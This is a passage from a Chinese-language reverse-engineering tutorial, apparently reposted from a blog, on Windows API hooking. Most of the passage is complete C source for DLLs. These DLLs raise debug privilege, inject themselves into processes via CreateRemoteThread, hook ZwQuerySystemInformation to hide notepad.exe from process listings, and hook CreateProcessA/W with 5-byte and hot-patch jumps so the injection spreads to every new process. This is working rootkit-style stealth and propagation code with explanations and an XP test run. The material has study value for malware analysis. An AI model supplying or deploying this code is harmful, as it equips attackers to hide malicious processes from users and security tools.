lpRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE); //为远程线程参数分配内存

WriteProcessMemory(hProcess, lpRemoteBuf, (LPVOID)szDllPath, BufSize, NULL); //写入参数(即DLL路径)

pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lpRemoteBuf, 0, NULL); //创建远程线程

WaitForSingleObject(hThread, INFINITE);

VirtualFreeEx(hProcess, lpRemoteBuf, 0, MEM_RELEASE); //释放掉相应空间

CloseHandle(hThread);

return TRUE;
}

NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;

unhook_code("ntdll.dll", "ZwQuerySystemInformation", g_OrgByteZwQSI); //先进行脱钩

pFunc = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation"); //获取原始API的地址

//再次调用这个原始的API函数以获取进程信息
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);

if (status != STATUS_SUCCESS) //当API函数执行不成功时跳转至结束处理
{
goto __NTQUERYSYSTEMINFORMATION_END;
}

if (SystemInformationClass == SystemProcessInformation) //只关注SystemProcessInformation这一个类型的操作
{
//进行SystemProcessInformation的类型转换,现在pCur则是一个指向存储运行中所有进程结构体链表的链表头
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
pPrev = NULL;

while (TRUE)
{
//循环比较找到需要隐藏的目标程序的结构体
if (pCur->Reserved2[1] != NULL)
{
if (!_tcsicmp((PWSTR)pCur->Reserved2[1], PROC_TO_HIDE))
{
//当找到目标进程时有两种情况:1.下一个节点为0,也就是链表结束 2.下一个节点不为0
if (pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0; //直接把上一个节点的下一个成员值置为0
else
pPrev->NextEntryOffset += pCur->NextEntryOffset; //将上一个节点指向下一个节点的偏移加上当前节点指向下一个节点的偏移
}
else
pPrev = pCur; //没有匹配到则向下推进
}
if (pCur->NextEntryOffset == 0) //遍历到结尾则退出
break;

pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset); //将当前的pCur移动至下一个节点
}
}

__NTQUERYSYSTEMINFORMATION_END:

// 函数终止前,再次执行API钩取操作,为下次调用准备
hook_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_OrgByteZwQSI);

return status;
}

BOOL WINAPI NewCreateProcessA(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc = NULL;

unhook_code("kernel32.dll", "CreateProcessA", g_OrgByteCPA); //先进行脱钩

pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");

bRet = ((PFCREATEPROCESSA)pFunc)(
lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation
); //重新调用CreateProcessA
if (bRet) //向新创建的进程再次注入DLL
{
inject(lpProcessInformation->hProcess, INJECT_DLL);
}

hook_code("kernel32.dll", "CreateProcessA", (PROC)NewCreateProcessA, g_OrgByteCPA);

return bRet;
}

BOOL WINAPI NewCreateProcessW(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc = NULL;

unhook_code("kernel32.dll", "CreateProcessW", g_OrgByteCPA); //先进行脱钩

pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW");

bRet = ((PFCREATEPROCESSW)pFunc)(
lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation
); //重新调用CreateProcessW
if (bRet) //向新创建的进程再次注入DLL
{
inject(lpProcessInformation->hProcess, INJECT_DLL); //CreateProcess创建的进程中lpProcessInformation这个参数中包含了对应进程的句柄
}

hook_code("kernel32.dll", "CreateProcessW", (PROC)NewCreateProcessW, g_OrgByteCPW);

return bRet;
}

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
char szCurentProcName[MAX_PATH] = { 0, };
char* p = NULL;

EnableDebugPriv();

GetModuleFileNameA(NULL, szCurentProcName, MAX_PATH);

//1.异常处理:如果当前进程名字为HideProc.exe(即注入程序),则终止,不进行钩取。
p = strrchr(szCurentProcName, '\'); //获得当前进程的应用程序名
if (p != NULL && !_stricmp(p + 1, "HideProc2.exe"))
return TRUE;

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: //进行API钩取
hook_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_OrgByteZwQSI);
hook_code("kernel32.dll", "CreateProcessA", (PROC)NewCreateProcessA, g_OrgByteCPA);
hook_code("kernel32.dll", "CreateProcessW", (PROC)NewCreateProcessW, g_OrgByteCPW);
break;
case DLL_PROCESS_DETACH: //将API进行脱钩,恢复其原始形态
unhook_code("ntdll.dll", "ZwQuerySystemInformation",g_OrgByteZwQSI);
unhook_code("kernel32.dll", "CreateProcessA", g_OrgByteCPA);
unhook_code("kernel32.dll", "CreateProcessW", g_OrgByteCPW);
break;
}
return TRUE;
}

程序的大体逻辑没有发生改变,主要是多出了有关CreateProcessA/W钩取的部分,以及部分操作的更改:

  1. 挂钩函数(hook_code)

  2. 脱钩函数(unhook_code)

  3. 钩取后重定义的目标API函数1(NewZwQuerySystemInformation)

  4. 钩取重定义后的目标API函数2(NewCreateProcessAW)

  5. 进行挂钩和脱钩的主函数(DllMain)

下面对其中比较重要的部分进行分析

NewCreateProcessAW:

在新的源码中最为重要的就是有关CreateProcess函数的钩取。

函数的功能是创建一个新进程及其主线程。原始API函数的结构如下:

BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);

AW版本的对应变化不打,主要是使用的字符编码问题,所以在源码中进行的相应操作也相差不大。

7字节钩取:

下面介绍一种新的钩取方式:7字节钩取,又称热补丁技术

首先来看一下几个API的其实代码部分:

RtReleasePath:

API钩取:进程的隐藏与全局钩取

RtlReleaseSRWLockExclusive:

API钩取:进程的隐藏与全局钩取

可以发现这些API都有一个共同点:

函数的起始位置以及其前面5个字节的结构是固定的:

int3
int3
int3
int3
int3
mov edi,edi

也就是5个空指令以及一个mov edi,edi,总共7字节大小的部分结构是固定的,且这7个字节的指令无论如何更改都是对原本API函数的运行流程没有影响的。Windows这样设计的目的就是为了方便在后面进行热补丁修改。

那么要如何利用这7个字节呢?一般是通过一个长跳转与一个短跳转结合来实现的。

首先将mov edi,edi这条指令的两个字节更改为EB F9,这是一个短跳转指令,F9是-7的补码表现形式,也就是说,将这个指令更改为向前跳转7个字节,也就是5个空指令开始的地方(短跳转范围是-128到127)。

然后,由于空指令的长度是5个字节,刚好满足一个无条件跳转指令的长度(即JMP XXXXXX指令),所以可以在这里设置将程序的执行流劫持到自定义函数上。

这个方法相较于前面的5字节钩取,就是原API函数的实际运行部分没有收到任何影响,所以在后续的调用中可以直接调用原始API函数而不用再次进行麻烦的脱钩及挂钩操作,而是直接将函数的起始位置更改为原起始位置的+2字节处即可。

这个方法虽然直观上看起来是比5字节钩取更好的,但是它的运用范围并没有5字节钩取大,因为并不是每个API都可以使用7字节钩取,比如ntdll的原生API。所以在本次操作中的ZwQuerySystemInformation依然使用5字节钩取,但属于kernel32.dll的CreateProcess就可以使用7字节钩取。

stealth3.dll:

首先还是先给出具体的源码及注释:

#include "windows.h"
#include "tchar.h"
#include "stdio.h"

#define INJECT_DLL (L"stealth3.dll")
#define PROC_TO_HIDE (L"notepad.exe")
#define STATUS_SUCCESS (0x00000000L) //NTSTATUS中表示成功的数值为0

BYTE g_OrgByteZwQSI[5] = { 0, };

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS(WINAPI* PFZWQUERYSYSTEMINFORMATION) //关于ZwQuerySystemInformation函数的函数申明,后面会调用这个函数
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);

typedef BOOL(WINAPI* PFCREATEPROCESSA)
(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
); //CreateProcessA的函数声明

typedef BOOL(WINAPI* PFCREATEPROCESSW)
(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
); //CreateProcessW的函数声明

BOOL hook_code_hotpatch(LPCSTR szDllName, LPCSTR szFuncName, PROC prNew) //挂钩函数
{
FARPROC pFunc = NULL;
DWORD dwOldProtect = 0;
DWORD dwAddress = 0;
BYTE Buf[5] = { 0xE9,0, };
byte buf2[2] = { 0xEB,0xF9 };
PBYTE pByte = NULL;

pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); //获取原始API函数的地址
pByte = (PBYTE)pFunc;

if (pByte[0] == 0xEB) //判断是否已经处于钩取状态
return FALSE;

VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect); //修改相应内存区域的读写执行权限

dwAddress = (DWORD)prNew - (DWORD)pFunc; //由于跳转的起始位置是在原始API函数的起始位置向上5字节的地方,所以这里是没有-5的

memcpy(&Buf[1], &dwAddress, 4);
memcpy((LPVOID)((DWORD)pByte - 5), Buf, 5); //首先修改原API函数的前5个字节为相应的跳转指令
memcpy(pFunc, buf2, 2); //再修改API函数开头位置上的第一条指令为短跳转,使程序的执行流被劫持到前面5个字节的长跳转指令上

VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, dwOldProtect, &dwOldProtect);

return TRUE;
}

BOOL unhook_code_hotpatch(LPCSTR szDllName, LPCSTR szFuncName) //脱钩函数
{
FARPROC pFunc = NULL;
DWORD dwOldProtect = 0;
PBYTE pByte = NULL;

byte Buf1[5] = { 0x90,0x90 ,0x90 ,0x90 ,0x90 }; //在API函数的起始位置的前5个字节为五个空指令
byte Buf2[2] = { 0x8B,0xFF }; //API函数起始的一条指令即使mov edi,edi

pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); //获取 所需要钩取的API函数的原始地址
pByte = (PBYTE)pFunc;

if (pByte[0] != 0xEB) //判断是否已经处于脱钩状态
return FALSE;

VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);

memcpy((LPVOID)((DWORD)pByte - 5), Buf1, 5); //还原原API函数的结构
memcpy(pFunc, Buf2, 2);

VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, dwOldProtect, &dwOldProtect);

return TRUE;
}

BOOL hook_code(LPCSTR szDllName, LPCSTR szFuncName, PROC prNew, PBYTE pOrgbyte) //挂钩函数
{
FARPROC prOrg = NULL;
DWORD dwOldProtect = 0;
DWORD dwAddress = 0;
byte Buf[5] = { 0xE9,0, };
PBYTE pByte = NULL;

prOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); //获取需要钩取的API的原始地址
pByte = (PBYTE)prOrg; //将获取到的地址转化为一个指针方便后面的使用

if (pByte[0] == 0xE9) //检查该处是否已处于挂钩状态,如果是则跳过挂钩过程
return FALSE;

VirtualProtect((LPVOID)prOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); //修改5个字节的内存保护权限(因为JMP指令只有5个字节)
memcpy(pOrgbyte, prOrg, 5); //保存原始API开头的5个字节
dwAddress = (DWORD)prNew - (DWORD)prOrg - 5; //计算需要跳转的位置(JMP指令跳转的位置不是绝对地址,而是与当前位置的相对地址)
//相对位置 = 目标位置 - 当前位置 - 指令长度(5字节)
memcpy(&Buf[1], &dwAddress, 4); //获取跳转位置
memcpy(prOrg, Buf, 5); //挂钩操作
VirtualProtect((LPVOID)prOrg, 5, dwOldProtect, &dwOldProtect); //复原原始内存区域的安全权限

return TRUE;
}

BOOL unhook_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgbyte) //脱钩函数
{
FARPROC pFunc = NULL;
DWORD dwOldProtect = 0;
PBYTE pByte = NULL;

pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); //获取 所需要钩取的API函数的原始地址
pByte = (PBYTE)pFunc;

if (pByte[0] != 0xE9) //判断是否已经处于脱钩状态
return FALSE;

VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pByte, pOrgbyte, 5); //脱钩操作
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);

return TRUE;
}

BOOL EnableDebugPriv() //提权函数
{
HANDLE hToken;
LUID Luid;
TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
printf("OpenProcessToken failed!n");
return FALSE;
}

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid))
{
CloseHandle(hToken);
printf("LookupPrivilegeValue failed!n");
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = Luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
{
printf("AdjustTokenPrivileges failed!");
CloseHandle(hToken);
}
else
{
printf("privilege get!n");
return TRUE;
}

}

BOOL inject(HANDLE hProcess, LPCTSTR szDllPath) //后面钩取CreateProcess后要在这个DLL内将DLL再次注入新创建的进程
{
HANDLE hThread = NULL;
LPVOID lpRemoteBuf = NULL;
DWORD BufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;

lpRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE); //为远程线程参数分配内存

WriteProcessMemory(hProcess, lpRemoteBuf, (LPVOID)szDllPath, BufSize, NULL); //写入参数(即DLL路径)

pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lpRemoteBuf, 0, NULL); //创建远程线程

WaitForSingleObject(hThread, INFINITE);

VirtualFreeEx(hProcess, lpRemoteBuf, 0, MEM_RELEASE); //释放掉相应空间

CloseHandle(hThread);

return TRUE;
}

NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;

unhook_code("ntdll.dll", "ZwQuerySystemInformation", g_OrgByteZwQSI); //先进行脱钩

pFunc = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation"); //获取原始API的地址

//再次调用这个原始的API函数以获取进程信息
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);

if (status != STATUS_SUCCESS) //当API函数执行不成功时跳转至结束处理
{
goto __NTQUERYSYSTEMINFORMATION_END;
}

if (SystemInformationClass == SystemProcessInformation) //只关注SystemProcessInformation这一个类型的操作
{
//进行SystemProcessInformation的类型转换,现在pCur则是一个指向存储运行中所有进程结构体链表的链表头
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
pPrev = NULL;

while (TRUE)
{
//循环比较找到需要隐藏的目标程序的结构体
if (pCur->Reserved2[1] != NULL)
{
if (!_tcsicmp((PWSTR)pCur->Reserved2[1], PROC_TO_HIDE))
{
//当找到目标进程时有两种情况:1.下一个节点为0,也就是链表结束 2.下一个节点不为0
if (pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0; //直接把上一个节点的下一个成员值置为0
else
pPrev->NextEntryOffset += pCur->NextEntryOffset; //将上一个节点指向下一个节点的偏移加上当前节点指向下一个节点的偏移
}
else
pPrev = pCur; //没有匹配到则向下推进
}
if (pCur->NextEntryOffset == 0) //遍历到结尾则退出
break;

pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset); //将当前的pCur移动至下一个节点
}
}

__NTQUERYSYSTEMINFORMATION_END:

// 函数终止前,再次执行API钩取操作,为下次调用准备
hook_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_OrgByteZwQSI);

return status;
}


BOOL WINAPI NewCreateProcessA(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc = NULL;

//热补丁的钩取不用进行脱钩操作,只要将执行API函数的起始地址+2略过跳转指令即可
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
pFunc = (FARPROC)((DWORD)pFunc + 2);

bRet = ((PFCREATEPROCESSA)pFunc)(
lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation
); //重新调用CreateProcessA
if (bRet) //向新创建的进程再次注入DLL
{
inject(lpProcessInformation->hProcess, INJECT_DLL);
}

return bRet;
}

BOOL WINAPI NewCreateProcessW(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc = NULL;

//热补丁的钩取不用进行脱钩操作,只要将执行API函数的起始地址+2略过跳转指令即可
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW");
pFunc = (FARPROC)((DWORD)pFunc + 2);

bRet = ((PFCREATEPROCESSW)pFunc)(
lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation
); //重新调用CreateProcessW
if (bRet) //向新创建的进程再次注入DLL
{
inject(lpProcessInformation->hProcess, INJECT_DLL); //CreateProcess创建的进程中lpProcessInformation这个参数中包含了对应进程的句柄
}

return bRet;
}

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
char szCurentProcName[MAX_PATH] = { 0, };
char* p = NULL;

EnableDebugPriv();

GetModuleFileNameA(NULL, szCurentProcName, MAX_PATH);

//1.异常处理:如果当前进程名字为HideProc.exe(即注入程序),则终止,不进行钩取。
p = strrchr(szCurentProcName, '\'); //获得当前进程的应用程序名
if (p != NULL && !_stricmp(p + 1, "HideProc2.exe"))
return TRUE;

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: //进行API钩取
hook_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_OrgByteZwQSI);
hook_code_hotpatch("kernel32.dll", "CreateProcessA", (PROC)NewCreateProcessA);
hook_code_hotpatch("kernel32.dll", "CreateProcessW", (PROC)NewCreateProcessW);
break;
case DLL_PROCESS_DETACH: //将API进行脱钩,恢复其原始形态
unhook_code("ntdll.dll", "ZwQuerySystemInformation", g_OrgByteZwQSI);
unhook_code_hotpatch("kernel32.dll", "CreateProcessA");
unhook_code_hotpatch("kernel32.dll", "CreateProcessW");
break;
}
return TRUE;
}

程序的逻辑并无太大的改变,主要是几个细节上的问题,下面来具体分析一下

hook_code_hotpatch(unhook_code_hotpatch):

首先要关注的就是原始缓冲区硬编码的变化:

BYTE Buf[5] = { 0xE9,0, };
byte buf2[2] = { 0xEB,0xF9 };

以及:

byte Buf1[5] = { 0x90,0x90 ,0x90 ,0x90 ,0x90 };
byte Buf2[2] = { 0x8B,0xFF };

第一个对应的是更改后的7个字节的数据:

0xE9代表JMP跳转指令,0xEB代表短跳转指令

第二个的0x90以及 0x8B,0xFF对应原来的空指令以及mov edi,edi

还有就是关于这里的具体跳转地址dwAddress的计算,根据前面的源码可以知道在5字节钩取的情况下,跳转地址的计算方式是:

跳转地址 = 目标跳转地址 - 当前位置地址 - 指令长度(5字节)

其实这里道理是差不多的,只不过由于现在起始的位置是原始API开始的前5个字节处,所以现在这个计算方法应该写为:

xxxxxxxxxx 跳转地址 = 目标跳转地址 - (当前位置地址-5) - 指令长度(5字节) = 目标跳转地址 - 当前位置地址

表现在代码中就是直接的:

dwAddress = (DWORD)prNew - (DWORD)pFunc

NewCreateProcessAW:

在7字节钩取的条件下这两个函数的中间过程就变得更加简单(因为略去了挂钩与脱钩操作)

唯一需要注意的一点就是关于API的再次调用:

pFunc = (FARPROC)((DWORD)pFunc + 2);

这里会将对应的API函数起始位置+2,也就是略过挂钩的部分,由于这两个字节对原始API的运行没有任何影响,所以可以直接略过来再次执行API函数。

运行测试:

本次运行在XP环境下实现:

首先是stealth.dll的注入:

API钩取:进程的隐藏与全局钩取

首先在最开始的process exploer中是可以看到这个notepad.exe的进程的,这时运行注入程序注入DLL:

API钩取:进程的隐藏与全局钩取

其中smss.exe这些系统进程有可能注入失败,影响不大,此时再看一下process explorer的界面:

API钩取:进程的隐藏与全局钩取

原本notepad.exe的条目就消失了。然后卸载掉对应dll:

API钩取:进程的隐藏与全局钩取

此时可以再次看见notepad.exe的条目。

在注入stealth2.dll之前要先将这个DLL放在系统system32的目录下(防止有些进程无法识别文件路径),然后执行注入操作:

API钩取:进程的隐藏与全局钩取

(此时可以多开几个process explorer)打开的过程可能比较慢,因为钩取了进程创建的函数,存在线程优先的问题:

API钩取:进程的隐藏与全局钩取

可以发现无论是原来的process explorer还是新打开的process explorer里面都无法查到notepad.exe的条目。此时进行卸载操作:

API钩取:进程的隐藏与全局钩取

可以发现原本被隐藏的notepad.exe又可以看到了

API钩取:进程的隐藏与全局钩取

来源先知社区的【Youngmith 师傅

注:如有侵权请联系删除

API钩取:进程的隐藏与全局钩取

 

如需进群进行技术交流,请扫该二维码

API钩取:进程的隐藏与全局钩取


原文始发于微信公众号(衡阳信安):API钩取:进程的隐藏与全局钩取

版权声明:admin 发表于 2023年1月15日 上午9:37。
转载请注明:API钩取:进程的隐藏与全局钩取 | CTF导航

相关文章

暂无评论

暂无评论...